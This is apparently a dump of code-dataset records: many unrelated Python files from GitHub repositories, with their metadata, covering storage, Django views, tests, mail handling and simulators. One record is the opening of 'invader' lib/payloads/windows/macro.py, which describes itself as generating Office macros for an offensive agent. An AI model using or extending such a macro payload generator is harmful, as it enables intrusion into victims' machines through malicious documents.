2022-01-01T14:48:46.000Z
stats-backend/yapapi/yapapi/storage/gftp.py
golemfactory/golem-stats-backend
95467749a13e4496032150cf08a9a3686ef213d3
[ "MIT" ]
null
null
null
""" Golem File Transfer Storage Provider """ import asyncio import contextlib import hashlib import json import os import sys import tempfile import uuid from os import PathLike from pathlib import Path from types import TracebackType from typing import List, Optional, cast, Union, AsyncIterator, Iterator, Type, Dict ...
31.65035
97
0.61909
795ad3e84a08e5c184b7949043ae79ce9b8056b9
5,951
py
Python
lib/payloads/windows/macro.py
fengjixuchui/invader
68153dafbe25e7bb821c8545952d0cc15ae35a3e
[ "MIT" ]
2
2020-02-11T03:25:49.000Z
2020-04-05T15:02:13.000Z
lib/payloads/windows/macro.py
fengjixuchui/invader
68153dafbe25e7bb821c8545952d0cc15ae35a3e
[ "MIT" ]
null
null
null
lib/payloads/windows/macro.py
fengjixuchui/invader
68153dafbe25e7bb821c8545952d0cc15ae35a3e
[ "MIT" ]
1
2020-04-05T15:02:13.000Z
2020-04-05T15:02:13.000Z
from lib.common import helpers import random, string class payload: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Macro', 'Author': ['@enigma0x3', '@harmj0y'], 'Description': ('Generates an office macro for Invader, compatible with office 97-2003, a...
43.437956
257
0.513023
795ad4daf35ce77ee022b2fdc429018329cf70c1
129
py
Python
backend/sandbox/todos/views/__init__.py
MMotionMan/django-edw
0f686429d29e0f40409a3b2318664973b2844c08
[ "BSD-3-Clause" ]
4
2019-09-18T05:51:12.000Z
2020-10-23T08:50:00.000Z
backend/sandbox/todos/views/__init__.py
Vvvnukova/django-edw
18397c2e6e2d7ddebad4d83ffee16425e7ac4e9f
[ "BSD-3-Clause" ]
10
2020-04-29T11:46:44.000Z
2022-03-11T23:38:27.000Z
backend/sandbox/todos/views/__init__.py
Vvvnukova/django-edw
18397c2e6e2d7ddebad4d83ffee16425e7ac4e9f
[ "BSD-3-Clause" ]
13
2020-04-09T07:49:48.000Z
2022-03-02T07:06:28.000Z
# -*- coding: utf-8 -*- from django.shortcuts import render def index(request): return render(request, "todos/index.html")
18.428571
46
0.689922
795ad5c281d91f2346ecbfec55695f576e490a77
1,725
py
Python
frappe/www/vineyard_List8.py
process-success/frappeModifyed
17031bdf5bb81d335d47aa3028a36be288bd9a1a
[ "MIT" ]
null
null
null
frappe/www/vineyard_List8.py
process-success/frappeModifyed
17031bdf5bb81d335d47aa3028a36be288bd9a1a
[ "MIT" ]
null
null
null
frappe/www/vineyard_List8.py
process-success/frappeModifyed
17031bdf5bb81d335d47aa3028a36be288bd9a1a
[ "MIT" ]
1
2018-03-21T18:34:08.000Z
2018-03-21T18:34:08.000Z
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # MIT License. See license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import getdate, nowdate no_cache = 1 no_sitemap = 1 ROWS_PER_PAGE = 2 def get_context(context): if (frappe.session.user == ...
42.073171
544
0.728696
795ad5d4b27ec88fcab133fee96e864021f55ac1
192
py
Python
nabu/processing/processors/__init__.py
rzcwade/nabu
11238abd890b58a0f070c1886dc23b170b992b68
[ "MIT" ]
3
2019-02-15T03:28:42.000Z
2019-06-29T14:39:58.000Z
nabu/processing/processors/__init__.py
rzcwade/nabu
11238abd890b58a0f070c1886dc23b170b992b68
[ "MIT" ]
null
null
null
nabu/processing/processors/__init__.py
rzcwade/nabu
11238abd890b58a0f070c1886dc23b170b992b68
[ "MIT" ]
1
2019-04-19T06:58:47.000Z
2019-04-19T06:58:47.000Z
'''@package processors contains the data processors''' from . import processor, processor_factory, audio_processor, text_processor,\ binary_processor, alignment_processor, textfile_processor
32
77
0.833333
795ad63b4c750ac7bb9bcd136f57a36aec51ad24
13,298
py
Python
sdk/test/utils/config_api_helper/test_deliver.py
llnw/llnw-sdk-python
0b3614e0e1f0b64c90d95ebd219646ea62d5efb4
[ "Apache-2.0" ]
5
2020-07-31T16:43:57.000Z
2021-11-04T16:51:58.000Z
sdk/test/utils/config_api_helper/test_deliver.py
llnw/llnw-sdk-python
0b3614e0e1f0b64c90d95ebd219646ea62d5efb4
[ "Apache-2.0" ]
null
null
null
sdk/test/utils/config_api_helper/test_deliver.py
llnw/llnw-sdk-python
0b3614e0e1f0b64c90d95ebd219646ea62d5efb4
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import pytest from sdk.utils.config_api_helper.deilver import DeliverServiceInstanceObj, DeliverInstanceBaseException shortname = "testname" published_host = "www.example.com" source_host = "www.example.origin.com" published_protocol = "https" source_protocol = "http" pro...
41.55625
117
0.670176
795ad68aea468bcc49e49e06ac3a560f3ffb6350
1,052
py
Python
training/biggraph_config.py
d4l3k/ourgraph
9a0f706babf3696a4747d5d4882575ecd9374a63
[ "MIT" ]
2
2019-09-07T03:41:58.000Z
2019-10-08T06:04:24.000Z
training/biggraph_config.py
d4l3k/ourgraph
9a0f706babf3696a4747d5d4882575ecd9374a63
[ "MIT" ]
null
null
null
training/biggraph_config.py
d4l3k/ourgraph
9a0f706babf3696a4747d5d4882575ecd9374a63
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE.txt file in the root directory of this source tree. entity_base = "data/ourgraph" def get_torchbiggraph_config(): config = dict( ...
21.916667
71
0.528517
795ad699fcea3df6d6adfa31e7e55b0c099d7149
394
py
Python
heritago/heritago/wsgi.py
SWE574-Groupago/heritago
ec7d279df667a4f2c3560dfac4b5b17046163a95
[ "MIT" ]
6
2017-02-13T10:22:18.000Z
2017-03-11T20:38:30.000Z
heritago/heritago/wsgi.py
SWE574-Groupago/heritago
ec7d279df667a4f2c3560dfac4b5b17046163a95
[ "MIT" ]
172
2017-02-12T21:07:27.000Z
2017-06-08T10:46:58.000Z
heritago/heritago/wsgi.py
SWE574-RenameMe/heritago
ec7d279df667a4f2c3560dfac4b5b17046163a95
[ "MIT" ]
17
2017-02-13T08:29:37.000Z
2017-06-29T14:43:53.000Z
""" WSGI config for heritago project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SET...
23.176471
78
0.786802
795ad70fa8de3cf69e9b2d6b0cb6bd7614f5af02
4,560
py
Python
postfix_incoming.py
FabianWe/mlmmj-docker
08969e8b3fcf62777dbfe258edea5991844701ec
[ "MIT" ]
null
null
null
postfix_incoming.py
FabianWe/mlmmj-docker
08969e8b3fcf62777dbfe258edea5991844701ec
[ "MIT" ]
null
null
null
postfix_incoming.py
FabianWe/mlmmj-docker
08969e8b3fcf62777dbfe258edea5991844701ec
[ "MIT" ]
1
2019-03-19T09:02:02.000Z
2019-03-19T09:02:02.000Z
#! /usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (c) 2017 Fabian Wenzelmann # MIT License # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without l...
50.10989
183
0.700219
795ad74b4743fa9d1590539217b207e5671760f9
9,179
py
Python
simulator/interfaceSimulator.py
shelpuk/AWS_simulator_for_reinforcement_learning
7d43c22be8a89379b9f882f060502410f9bac9dc
[ "Unlicense", "MIT" ]
9
2018-06-11T08:07:45.000Z
2021-03-08T20:10:58.000Z
simulator/interfaceSimulator.py
shelpuk/AWS_simulator_for_reinforcement_learning
7d43c22be8a89379b9f882f060502410f9bac9dc
[ "Unlicense", "MIT" ]
null
null
null
simulator/interfaceSimulator.py
shelpuk/AWS_simulator_for_reinforcement_learning
7d43c22be8a89379b9f882f060502410f9bac9dc
[ "Unlicense", "MIT" ]
5
2018-07-07T09:18:06.000Z
2021-06-23T17:46:00.000Z
import json import csv import random import os import re import numpy as np import gc import copy class server(object): def __init__(self, startTime, setupTime, requestCanHandle = 50, failureProbability = 0., type = 0): s...
40.436123
183
0.636562
795ad758b47f5c7369bfbaec00fac6651a04abfb
426
py
Python
tenants/migrations/0002_auto_20190521_0816.py
epineda/chatter
de968687dfe88ace589cece7ba5259078a428120
[ "MIT" ]
86
2018-11-15T14:43:57.000Z
2022-03-28T05:57:08.000Z
tenants/migrations/0002_auto_20190521_0816.py
alexsilva/chatter
28869bcc6366846d8d58d9fbea0fb67fec58c8de
[ "MIT" ]
34
2019-02-11T07:01:07.000Z
2021-06-04T21:47:57.000Z
tenants/migrations/0002_auto_20190521_0816.py
alexsilva/chatter
28869bcc6366846d8d58d9fbea0fb67fec58c8de
[ "MIT" ]
39
2018-11-02T13:04:38.000Z
2021-12-15T03:04:00.000Z
# Generated by Django 2.0.9 on 2019-05-21 08:16 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('tenants', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='client', name='on_trial', ), ...
19.363636
47
0.553991
795ad7a6c076c720f4d39aac621b9781a6baca7f
347
py
Python
tests/smoke_tests/smoke_test.py
jnguyen1098/quizmake
760f59b06b3c574ac176305deeaa13d077080e64
[ "0BSD" ]
1
2021-06-21T21:51:44.000Z
2021-06-21T21:51:44.000Z
tests/smoke_tests/smoke_test.py
jnguyen1098/quizmake
760f59b06b3c574ac176305deeaa13d077080e64
[ "0BSD" ]
8
2020-06-19T13:30:57.000Z
2021-04-15T20:07:33.000Z
tests/smoke_tests/smoke_test.py
jnguyen1098/quizmake
760f59b06b3c574ac176305deeaa13d077080e64
[ "0BSD" ]
null
null
null
# !/usr/bin/env python3 """ Execute smoke test cases. Testing to see if the system works """ from quizmake import core def test_sanity() -> None: """Test for sanity.""" args = [ "prog", "tests/test_data/tokens/valid_tokens/", "tests/test_data/questions/valid_questions/", ] a...
17.35
53
0.619597
795ad8e07adb09480349389672006ff53988dce7
632
py
Python
tests/compatibility.py
ecoinvent/brightway2-data
3aa42d93cb6ded0e8a8cb4162c052995ac7060d3
[ "BSD-3-Clause" ]
null
null
null
tests/compatibility.py
ecoinvent/brightway2-data
3aa42d93cb6ded0e8a8cb4162c052995ac7060d3
[ "BSD-3-Clause" ]
null
null
null
tests/compatibility.py
ecoinvent/brightway2-data
3aa42d93cb6ded0e8a8cb4162c052995ac7060d3
[ "BSD-3-Clause" ]
null
null
null
from bw2data.tests import BW2DataTest, bw2test from bw2data import * from .fixtures import food, biosphere @bw2test def test_repr_str_unicode(): objects = ( geomapping, databases, methods, normalizations, weightings, Database("foo"), DataStore("foo"), ...
19.75
50
0.615506
795ad94b286a2911d72bc46f9e37e09783767df8
1,523
py
Python
textgrid_to_boris/boris_tools.py
Nagasaki45/textgrid-to-boris
e924a2a6196baf6967ccbc6ef1124d98bb9bcff8
[ "MIT" ]
null
null
null
textgrid_to_boris/boris_tools.py
Nagasaki45/textgrid-to-boris
e924a2a6196baf6967ccbc6ef1124d98bb9bcff8
[ "MIT" ]
null
null
null
textgrid_to_boris/boris_tools.py
Nagasaki45/textgrid-to-boris
e924a2a6196baf6967ccbc6ef1124d98bb9bcff8
[ "MIT" ]
null
null
null
import collections from datetime import datetime import json import operator Event = collections.namedtuple( 'Event', ['time', 'subject', 'code', 'type', 'modifier', 'comment'], defaults=['', '', ''], ) def read_boris(filepath): # TODO input validation with open(filepath) as f: return js...
25.813559
67
0.632305
795ad9d93d1688c2dc1bf770a7e4d93b2b2414dd
4,343
py
Python
Scripts/Restriction/rebase_update.py
rwst/biopython
d8280b25e3fefdf7aebb7700a7080879a4146200
[ "BSD-3-Clause" ]
2
2019-11-21T02:34:52.000Z
2021-02-14T07:47:43.000Z
Scripts/Restriction/rebase_update.py
rwst/biopython
d8280b25e3fefdf7aebb7700a7080879a4146200
[ "BSD-3-Clause" ]
null
null
null
Scripts/Restriction/rebase_update.py
rwst/biopython
d8280b25e3fefdf7aebb7700a7080879a4146200
[ "BSD-3-Clause" ]
1
2019-04-12T20:52:12.000Z
2019-04-12T20:52:12.000Z
#!/usr/bin/env python # # Restriction Analysis Libraries. # Copyright (C) 2004. Frederic Sohm. # # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. # """Update the Rebase EMBOSS files. The Re...
30.159722
79
0.602809
795ada6783c96cf515117e4563abfebc7a56a01c
2,023
py
Python
my_django_tweaks/test_utils/lock_limiter.py
ricard33/my_django_tweaks
6f96a778515c194d8790dc02aa186a8c7b7b2e47
[ "MIT" ]
2
2019-06-11T09:57:16.000Z
2019-06-11T10:02:13.000Z
my_django_tweaks/test_utils/lock_limiter.py
ricard33/my_django_tweaks
6f96a778515c194d8790dc02aa186a8c7b7b2e47
[ "MIT" ]
null
null
null
my_django_tweaks/test_utils/lock_limiter.py
ricard33/my_django_tweaks
6f96a778515c194d8790dc02aa186a8c7b7b2e47
[ "MIT" ]
null
null
null
from contextlib import contextmanager from django.conf import settings from django.db.models.sql.compiler import SQLCompiler class WouldSelectMultipleTablesForUpdate(Exception): pass def replacement_as_sql(self, *args, **kwargs): sql = self.query_lock_limiter_old_as_sql(*args, **kwargs) # We're doing th...
34.288136
95
0.723678
795adad02d040438e8a8f5e3ad983a59632c6d1e
163
py
Python
utis/__init__.py
momoladebrouill/utis
d3abecc7a0a1467d5dc3a2be566cef26efc1fa70
[ "MIT" ]
null
null
null
utis/__init__.py
momoladebrouill/utis
d3abecc7a0a1467d5dc3a2be566cef26efc1fa70
[ "MIT" ]
null
null
null
utis/__init__.py
momoladebrouill/utis
d3abecc7a0a1467d5dc3a2be566cef26efc1fa70
[ "MIT" ]
null
null
null
from .plan import Table,Plan from .html import Balise from .Fractions import Frac from .complex import Complex from .AntsFight import Ant from .vec import Pos,Vec
23.285714
28
0.803681
795add4e55a3cad41c707acef472fe9668a59092
12,444
py
Python
test/unit/managers/test_HistoryContentsManager.py
bornea/galaxy-apostl-docker
e75d27103d9c48e4925708fd06b585cb5471382e
[ "CC-BY-3.0" ]
null
null
null
test/unit/managers/test_HistoryContentsManager.py
bornea/galaxy-apostl-docker
e75d27103d9c48e4925708fd06b585cb5471382e
[ "CC-BY-3.0" ]
null
null
null
test/unit/managers/test_HistoryContentsManager.py
bornea/galaxy-apostl-docker
e75d27103d9c48e4925708fd06b585cb5471382e
[ "CC-BY-3.0" ]
null
null
null
# -*- coding: utf-8 -*- """ """ import os import imp import unittest import random test_utils = imp.load_source( 'test_utils', os.path.join( os.path.dirname( __file__), '../unittest_utils/utility.py' ) ) from sqlalchemy import true from sqlalchemy import false from sqlalchemy import desc from sqlalchemy.sql impor...
52.285714
122
0.658952
795add50370a966d27392a6f16f18d6da45d3a9f
3,160
py
Python
nbgrader/server_extensions/formgrader/base.py
omelnikov/nbgrader
66984e5732c98bd15733c027601a62fca6a46222
[ "BSD-3-Clause" ]
1,116
2015-01-20T19:22:24.000Z
2022-03-31T22:05:10.000Z
nbgrader/server_extensions/formgrader/base.py
jld23/nbgrader
07a38cd8ed12ab33870bdd42f0bf35aa1252b0db
[ "BSD-3-Clause" ]
1,166
2015-01-08T21:50:31.000Z
2022-03-31T05:15:01.000Z
nbgrader/server_extensions/formgrader/base.py
jld23/nbgrader
07a38cd8ed12ab33870bdd42f0bf35aa1252b0db
[ "BSD-3-Clause" ]
337
2015-02-06T01:28:00.000Z
2022-03-29T06:52:38.000Z
import os import json import functools from tornado import web from notebook.base.handlers import IPythonHandler from ...api import Gradebook from ...apps.api import NbGraderAPI class BaseHandler(IPythonHandler): @property def base_url(self): return super(BaseHandler, self).base_url.rstrip("/") ...
26.554622
78
0.601899
795add9a8e07d6ce2f491c70297cd5f744cc080e
10,912
py
Python
Scrapy_zzuliacgn/tools/DAO.py
DeSireFire/zzuliacgnSyders
0e4d6b9663771d8ddc65598bae58a5b4b8c22e88
[ "MIT" ]
2
2019-03-23T16:05:16.000Z
2021-04-19T02:14:09.000Z
Scrapy_zzuliacgn/tools/DAO.py
DeSireFire/zzuliacgnSyders
0e4d6b9663771d8ddc65598bae58a5b4b8c22e88
[ "MIT" ]
null
null
null
Scrapy_zzuliacgn/tools/DAO.py
DeSireFire/zzuliacgnSyders
0e4d6b9663771d8ddc65598bae58a5b4b8c22e88
[ "MIT" ]
1
2020-10-11T15:33:31.000Z
2020-10-11T15:33:31.000Z
# import MySQLdb,sys,datetime import pymysql,sys,datetime # from zzuliACGN.settings import DATABASES connect_dict = { # "host":DATABASES["default"]["HOST"], # "port":int(DATABASES["default"]["PORT"]), # "user":DATABASES["default"]["USER"], # "passwd":DATABASES["default"]["PASSWORD"], # "db":DATABAS...
29.021277
141
0.562958
795add9de97acb060ac955484d90adbe7221684b
2,132
py
Python
mdrsl/rule_generation/association_rule_mining/apyori_impl/apyori_utils.py
joschout/Multi-Directional-Rule-Set-Learning
ef0620b115f4e0fd7fba3e752d238a8020c1ca6b
[ "Apache-2.0" ]
3
2020-08-03T19:25:44.000Z
2021-06-27T22:25:55.000Z
mdrsl/rule_generation/association_rule_mining/apyori_impl/apyori_utils.py
joschout/Multi-Directional-Rule-Set-Learning
ef0620b115f4e0fd7fba3e752d238a8020c1ca6b
[ "Apache-2.0" ]
null
null
null
mdrsl/rule_generation/association_rule_mining/apyori_impl/apyori_utils.py
joschout/Multi-Directional-Rule-Set-Learning
ef0620b115f4e0fd7fba3e752d238a8020c1ca6b
[ "Apache-2.0" ]
2
2020-08-07T22:54:28.000Z
2021-02-18T06:11:01.000Z
try: from rule_generation.association_rule_mining.apyori_impl.apyori import RelationRecord except ModuleNotFoundError: from collections import namedtuple # Ignore name errors because these names are namedtuples. SupportRecord = namedtuple( # pylint: disable=C0103 'SupportRecord', ('items', 'su...
42.64
154
0.719043
795aded19d26bab6fbdbd7d82b48a18c3869dd0c
3,772
py
Python
Day-19/sol.py
archanpatkar/advent2015
a207283c85745055dce9a2d69c21214f1f4cefbb
[ "MIT" ]
null
null
null
Day-19/sol.py
archanpatkar/advent2015
a207283c85745055dce9a2d69c21214f1f4cefbb
[ "MIT" ]
null
null
null
Day-19/sol.py
archanpatkar/advent2015
a207283c85745055dce9a2d69c21214f1f4cefbb
[ "MIT" ]
null
null
null
from pprint import pprint from functools import reduce from itertools import * from collections import defaultdict # from queue import PriorityQueue # from difflib import SequenceMatcher from random import choice data = open("input.txt","r").read().split("\n") molecule = data[-1] transforms = defaultdict(lambda: [])...
30.918033
94
0.541092
795adfc2fb1f12f817ba7ce5467156a3f2354e66
1,622
py
Python
python/tvm/relay/backend/contrib/ethosu/preprocess.py
XiaoSong9905/tvm
48940f697e15d5b50fa1f032003e6c700ae1e423
[ "Apache-2.0" ]
4,640
2017-08-17T19:22:15.000Z
2019-11-04T15:29:46.000Z
python/tvm/relay/backend/contrib/ethosu/preprocess.py
XiaoSong9905/tvm
48940f697e15d5b50fa1f032003e6c700ae1e423
[ "Apache-2.0" ]
3,022
2020-11-24T14:02:31.000Z
2022-03-31T23:55:31.000Z
python/tvm/relay/backend/contrib/ethosu/preprocess.py
XiaoSong9905/tvm
48940f697e15d5b50fa1f032003e6c700ae1e423
[ "Apache-2.0" ]
1,352
2017-08-17T19:30:38.000Z
2019-11-04T16:09:29.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
43.837838
90
0.751541
795adfca4c63aa2eb9d1ede5987e4d38cb030f2a
8,248
py
Python
tests/util_test.py
shouldsee/cathpy
5f7fa1322434b2d254f0158c5840f029b12dbafe
[ "MIT" ]
null
null
null
tests/util_test.py
shouldsee/cathpy
5f7fa1322434b2d254f0158c5840f029b12dbafe
[ "MIT" ]
null
null
null
tests/util_test.py
shouldsee/cathpy
5f7fa1322434b2d254f0158c5840f029b12dbafe
[ "MIT" ]
null
null
null
import logging import difflib import os import tempfile from cathpy.core import error as err from cathpy.core.util import (StructuralClusterMerger, AlignmentSummaryRunner, GroupsimRunner, GroupsimResult, ) from cathpy.core.datafiles import ReleaseDir from cathpy.core.align import Align fr...
39.090047
140
0.610936
795ae046d60759c0cb5facdcd67c5cab72cb4a57
315
py
Python
fa_bot.py
darkChozo/folkbot
64c1c59654b9d6af4b4fc41f0f48c65e1ea3e8b2
[ "MIT" ]
null
null
null
fa_bot.py
darkChozo/folkbot
64c1c59654b9d6af4b4fc41f0f48c65e1ea3e8b2
[ "MIT" ]
null
null
null
fa_bot.py
darkChozo/folkbot
64c1c59654b9d6af4b4fc41f0f48c65e1ea3e8b2
[ "MIT" ]
null
null
null
#!/usr/local/bin/python import bot import logging # Full sail ahoy! if __name__ == '__main__': fa_bot = bot.FAbot.FAbot("config.ini") try: fa_bot.start() except KeyboardInterrupt: print "Disconnecting..." logging.info("Keyboard interrupt. Disconnecting.") fa_bot.stop()
22.5
58
0.644444
795ae05a8c000b4fc270b7aff08457fd4ef6094f
2,183
py
Python
saleor/product/__init__.py
elwoodxblues/saleor
5e4e4a4259a011d24b04ebd24c77c689de843fa1
[ "CC-BY-4.0" ]
19
2019-12-03T17:28:07.000Z
2021-09-10T21:30:52.000Z
saleor/product/__init__.py
elwoodxblues/saleor
5e4e4a4259a011d24b04ebd24c77c689de843fa1
[ "CC-BY-4.0" ]
32
2019-12-16T11:18:35.000Z
2021-03-19T03:33:15.000Z
saleor/product/__init__.py
elwoodxblues/saleor
5e4e4a4259a011d24b04ebd24c77c689de843fa1
[ "CC-BY-4.0" ]
20
2020-02-03T00:38:59.000Z
2022-01-03T13:07:52.000Z
from django.utils.translation import pgettext_lazy class ProductAvailabilityStatus: NOT_PUBLISHED = "not-published" VARIANTS_MISSSING = "variants-missing" OUT_OF_STOCK = "out-of-stock" LOW_STOCK = "low-stock" NOT_YET_AVAILABLE = "not-yet-available" READY_FOR_PURCHASE = "ready-for-purchase" ...
38.298246
77
0.690792
795ae17ef48dc73966ed0fb0a088bdc009a6273d
1,571
py
Python
Basic/action.py
Redbuffhu/APP_huanlejiac
8495a76a5211ea7346a9ed01f348cd81b56197ed
[ "Apache-2.0" ]
null
null
null
Basic/action.py
Redbuffhu/APP_huanlejiac
8495a76a5211ea7346a9ed01f348cd81b56197ed
[ "Apache-2.0" ]
null
null
null
Basic/action.py
Redbuffhu/APP_huanlejiac
8495a76a5211ea7346a9ed01f348cd81b56197ed
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import time, allure from selenium.webdriver.support.wait import WebDriverWait from Basic.utils import log class ElementActions(object): def __init__(self, driver): self.driver = driver def get_img(self, name='App截图'): png_data = self.driver.get_screenshot_...
30.803922
96
0.57161
795ae1801ec498cc40edc191369d9fec19f72c7d
9,674
py
Python
python/sdss_access/sync/curl.py
sdss/sdss_access
04531f969a6eccfb71b78fc604e2381da3249cb4
[ "BSD-3-Clause" ]
6
2019-01-21T03:02:55.000Z
2022-01-10T00:47:08.000Z
python/sdss_access/sync/curl.py
sdss/sdss_access
04531f969a6eccfb71b78fc604e2381da3249cb4
[ "BSD-3-Clause" ]
23
2017-04-10T14:59:57.000Z
2021-09-24T21:08:36.000Z
python/sdss_access/sync/curl.py
sdss/sdss_access
04531f969a6eccfb71b78fc604e2381da3249cb4
[ "BSD-3-Clause" ]
2
2017-07-01T07:02:03.000Z
2019-04-22T12:49:55.000Z
from __future__ import absolute_import, division, print_function, unicode_literals # The line above will help with 2to3 support. import distutils.spawn import re import time from os import popen from os.path import exists, dirname, join, basename, getsize, getmtime, sep from datetime import datetime, timedelta from sd...
50.649215
385
0.625698
795ae39331009dda57bb875136a82de0c3647342
392
py
Python
neowand/wsgi.py
ShareDVI/NeoWand
a94e1acd435d334bdba759d5a0b2eb0a46f53af4
[ "MIT" ]
null
null
null
neowand/wsgi.py
ShareDVI/NeoWand
a94e1acd435d334bdba759d5a0b2eb0a46f53af4
[ "MIT" ]
null
null
null
neowand/wsgi.py
ShareDVI/NeoWand
a94e1acd435d334bdba759d5a0b2eb0a46f53af4
[ "MIT" ]
null
null
null
""" WSGI config for neowand project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETT...
23.058824
78
0.785714
795ae3b72d76eebbb9c0955de60ccd5f2a2d1d25
308
py
Python
18 Regular Expressions/specialcharacters.py
Himanshu44626748/Learn-Python
f3a4d997f2d29b146e5f7434f4801ae94bc3483f
[ "MIT" ]
2
2020-03-16T14:57:44.000Z
2020-11-29T07:45:54.000Z
18 Regular Expressions/specialcharacters.py
Himanshu44626748/Learn-Python
f3a4d997f2d29b146e5f7434f4801ae94bc3483f
[ "MIT" ]
null
null
null
18 Regular Expressions/specialcharacters.py
Himanshu44626748/Learn-Python
f3a4d997f2d29b146e5f7434f4801ae94bc3483f
[ "MIT" ]
1
2020-08-13T07:59:02.000Z
2020-08-13T07:59:02.000Z
''' \ . ^ - searches from beginning $ [...] [^....] (...) (R | S) can use 2 regular expressions, either this or that will be executed ''' import re str = "Take up 1 1-03-2019 one 23 idea.One 567idea at a time 20-1-2021" result = re.findall(r'^T\w*',str) print(result)
17.111111
95
0.545455
795ae46ded125414be206af2775ab0ddca604626
204
py
Python
RecoEgamma/EgammaIsolationAlgos/python/pfBlockBasedIsolation_cfi.py
SWuchterl/cmssw
769b4a7ef81796579af7d626da6039dfa0347b8e
[ "Apache-2.0" ]
6
2017-09-08T14:12:56.000Z
2022-03-09T23:57:01.000Z
RecoEgamma/EgammaIsolationAlgos/python/pfBlockBasedIsolation_cfi.py
SWuchterl/cmssw
769b4a7ef81796579af7d626da6039dfa0347b8e
[ "Apache-2.0" ]
545
2017-09-19T17:10:19.000Z
2022-03-07T16:55:27.000Z
RecoEgamma/EgammaIsolationAlgos/python/pfBlockBasedIsolation_cfi.py
SWuchterl/cmssw
769b4a7ef81796579af7d626da6039dfa0347b8e
[ "Apache-2.0" ]
14
2017-10-04T09:47:21.000Z
2019-10-23T18:04:45.000Z
import FWCore.ParameterSet.Config as cms pfBlockBasedIsolation = cms.PSet( #required inputs ComponentName = cms.string('pfBlockBasedIsolation'), coneSize = cms.double(9999999999) )
18.545455
56
0.720588
795ae53f39bfa73cc04a7435ecee3e1eee316751
2,546
py
Python
WindowManager.py
Bob-Z/RandoMame
2073d0f1f3de6b7c2f7c090ee79509adb2a1d302
[ "Apache-2.0" ]
2
2021-11-13T16:28:04.000Z
2022-02-24T16:56:15.000Z
WindowManager.py
Bob-Z/RandoMame
2073d0f1f3de6b7c2f7c090ee79509adb2a1d302
[ "Apache-2.0" ]
null
null
null
WindowManager.py
Bob-Z/RandoMame
2073d0f1f3de6b7c2f7c090ee79509adb2a1d302
[ "Apache-2.0" ]
1
2021-11-13T16:26:19.000Z
2021-11-13T16:26:19.000Z
import sys import time import Mode import Config import Desktop import Display import Window import Sound import Record import XmlGetter import os from Desktop import DesktopClass from WindowPosition import WindowPosition running = True sound_index = 0 window = [] start_command_launched = False def start(): g...
24.480769
103
0.649647
795ae6aada3c5543b959d24a7d6b449c95e9d7bc
2,363
py
Python
examples/google2016_unbreakable_1/solve.py
Alex97/angr-doc
fb28648694e9edb52b3726a3434b6c6e35966289
[ "BSD-2-Clause" ]
1
2021-08-30T06:56:31.000Z
2021-08-30T06:56:31.000Z
examples/google2016_unbreakable_1/solve.py
pcy190/angr-doc
c2465b4ecbb44fe3c201bd76f2a7b2306c278c7f
[ "BSD-2-Clause" ]
null
null
null
examples/google2016_unbreakable_1/solve.py
pcy190/angr-doc
c2465b4ecbb44fe3c201bd76f2a7b2306c278c7f
[ "BSD-2-Clause" ]
1
2022-03-31T07:42:51.000Z
2022-03-31T07:42:51.000Z
#!/usr/bin/env python2 """ In this challenge we are given a binary that checks an input given as a command line argument. If it is correct, 'Thank you - product activated!' is printed. If it is incorrect, 'Product activation failure %d' is printed with a specific error code. Reversing shows that the program verifies ...
36.353846
93
0.714769
795ae78cff0cef2e3b763e737f8aea64524869d0
3,958
py
Python
tasks/bench.py
KSerrania/datadog-agent
e1819b7bd2007a8fa82956bff22d03bf5a18617f
[ "Apache-2.0" ]
1
2021-01-28T14:23:38.000Z
2021-01-28T14:23:38.000Z
tasks/bench.py
KSerrania/datadog-agent
e1819b7bd2007a8fa82956bff22d03bf5a18617f
[ "Apache-2.0" ]
3
2020-11-28T18:07:27.000Z
2021-03-24T17:23:50.000Z
tasks/bench.py
KSerrania/datadog-agent
e1819b7bd2007a8fa82956bff22d03bf5a18617f
[ "Apache-2.0" ]
1
2021-06-24T06:41:48.000Z
2021-06-24T06:41:48.000Z
""" Benchmarking tasks """ from __future__ import print_function import os import sys from invoke import task from .build_tags import get_default_build_tags from .utils import REPO_PATH, bin_name, get_git_branch_name # constants BENCHMARKS_BIN_PATH = os.path.join(".", "bin", "benchmarks") @task def build_aggregat...
29.537313
116
0.641738
795ae86edd00ef5e80e8da261409680fc1959e84
11,167
py
Python
Cython/Compiler/Options.py
felix-salfelder/cython
5446ec2921d6247611978cd17c66e215421b20c4
[ "Apache-2.0" ]
2
2021-08-20T02:33:24.000Z
2021-11-17T10:54:00.000Z
Cython/Compiler/Options.py
felix-salfelder/cython
5446ec2921d6247611978cd17c66e215421b20c4
[ "Apache-2.0" ]
null
null
null
Cython/Compiler/Options.py
felix-salfelder/cython
5446ec2921d6247611978cd17c66e215421b20c4
[ "Apache-2.0" ]
null
null
null
# # Cython - Compilation-wide options and pragma declarations # # Perform lookups on builtin names only once, at module initialisation # time. This will prevent the module from getting imported if a # builtin name that it uses cannot be found during initialisation. cache_builtins = True embed_pos_in_docstring = Fal...
34.572755
116
0.672696
795ae8a0a688faf77f661418b44ce96ae6edc348
947
py
Python
alipay/aop/api/domain/AlipayUserAntpaasAddtesttagModifyModel.py
